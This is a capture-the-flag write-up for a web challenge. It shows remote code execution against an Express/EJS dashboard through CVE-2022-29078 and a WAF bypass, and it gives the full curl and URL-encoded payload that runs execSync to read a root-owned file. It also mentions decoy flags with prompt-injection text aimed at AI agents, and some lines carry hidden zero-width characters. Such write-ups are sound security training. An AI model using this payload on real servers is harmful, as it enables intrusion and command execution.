← Back to Writeups
HTBN/AWeb

DeployPilot

XESXOR8/23/20264 min read
#web#htb#n/a#CVE-2022-29078

DeployPilot

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-01 | Status: Solved Techniques: bracket_notation_rce, ejs_outputfunctionname_ssti, query_param_to_render_options_pollution, waf_bypass_plus_encoding

Summary

Task: Express.js deployment dashboard with EJS templates, /reports/preview endpoint passes query params to res.render() as EJS options. Solution: WAF bypass using + instead of %20, then EJS SSTI via outputFunctionName option (CVE-2022-29078) to achieve RCE and read /root/flag.txt.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260501_hackadvisor_deploypilot
  • Tags: waf_bypass, rce, ssti, nodejs, ejs, express, template_injection, cve_2022_29078
  • Indicators: Express.js + EJS stack (X-Powered-By: Express), query parameters passed directly to res.render(), report preview endpoint with user-controlled template options, EJS version < 3.1.7 (unpatched CVE-2022-29078), WAF blocking standard URL encoding but allowing + for space
  • Source: 20260501_hackadvisor_deploypilot.md

Foothold

Vulnerability / Misconfiguration

  1. Bracket_notation_rce
  2. Ejs_outputfunctionname_ssti
  3. Query_param_to_render_options_pollution
  4. Waf_bypass_plus_encoding
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • bracket_notation_rce
  • ejs_outputfunctionname_ssti
  • query_param_to_render_options_pollution
  • waf_bypass_plus_encoding
  • Tags: waf_bypass, rce, ssti, nodejs, ejs, express, template_injection, cve_2022_29078

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DeployPilot is a deployment monitoring dashboard built by NimbusOps Inc. It provides teams with real-time visibility into their deployment pipelines, server health metrics, and release history. The platform features customizable status reports, team management, and notification settings.

As a security researcher, you've been given access to a running instance of DeployPilot. Your task is to explore the application and find a vulnerability that allows you to read sensitive files from the server.

Credentials: user@test.com / password123

Hint: The application uses EJS templates for rendering pages. Some endpoints accept user input that influences how templates are rendered. Pay attention to how query parameters are processed on report-related pages. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js web application with EJS templates serving as a deployment monitoring dashboard. The goal is to find a vulnerability leading to RCE and read the flag from the server filesystem.

Analysis

Reconnaissance

The target is an Express.js application with EJS templates (identified via X-Powered-By: Express header, nginx/1.25.5 reverse proxy). After logging in with provided credentials via POST /login, the application exposes several pages: /, /deployments, /servers, /reports, /team, /settings. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The /reports page contains a form that submits to GET /reports/preview with query parameters: title, range, theme, sections. The title parameter is reflected in the rendered page in 3 places (page title, h4, h3).

Important: The HTML source contains decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection text designed to trick automated scanners and AI agents. These are fake.

Confirming Query Params → EJS Options

Setting delimiter=X as a query parameter caused the raw EJS template source to leak in the response instead of rendered HTML. This confirmed that all query parameters are passed directly to res.render() and forwarded to EJS as template options — the core vulnerability. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

EJS Version Detection

The EJS version is < 3.1.7 (unpatched CVE-2022-29078). This was confirmed by observing that outputFunctionName=x;y returns HTTP 200 (valid JS: var x;y = __append;), while outputFunctionName=x.y returns HTTP 500 (invalid JS: var x.y = __append;). In EJS 3.1.7+, both would be rejected by a regex check that validates outputFunctionName as a valid JS identifier.

WAF Discovery and Bypass

The standard EJS SSTI payload uses settings[view options][outputFunctionName] to inject EJS options through Express's view settings. The application's WAF blocks settings[view%20options] (with URL-encoded space %20). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

However, using settings[view+options] (with + instead of %20 for space) bypasses the WAF. Express's qs query string parser decodes both %20 and + as spaces identically, so the parameter reaches EJS correctly despite the WAF bypass.

Solution

Step 1: Understand the outputFunctionName Injection

The outputFunctionName value is inserted directly into the compiled EJS template function as:

var PAYLOAD = __append;

By setting outputFunctionName to x;CODE;var z, the compiled function becomes:

var x;CODE;var z = __append;

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This allows arbitrary JavaScript execution within the template compilation.

Step 2: Craft the RCE Payload

Key constraints and techniques:

  • Bracket notation is required: process['mainModule'] instead of process.mainModule, because dots cause JavaScript syntax errors in var declarations (var x.y is invalid)
  • __output+= appends command output directly to the HTTP response body
  • + WAF bypass for settings[view options]

Step 3: Execute the Exploit

# Final RCE payload (CVE-2022-29078 + WAF bypass)
curl -b 'session=<cookie>' \
  'https://TARGET/reports/preview?title=test&settings[view+options][outputFunctionName]=x;__output+=process[%27mainModule%27][%27require%27](%27child_process%27)[%27execSync%27](%27cat%20/root/flag.txt%27);var%20z'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The compiled template function becomes:

var x;__output+=process['mainModule']['require']('child_process')['execSync']('cat /root/flag.txt');var z = __append;

This executes cat /root/flag.txt on the server (running as root, uid=0) and appends the flag content to the HTTP response.

URL-encoded form of the final exploit:

/reports/preview?title=test&settings%5Bview+options%5D%5BoutputFunctionName%5D=x%3B__output%2B%3Dprocess%5B'mainModule'%5D%5B'require'%5D('child_process')%5B'execSync'%5D('cat+/root/flag.txt')%3Bvar+z

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR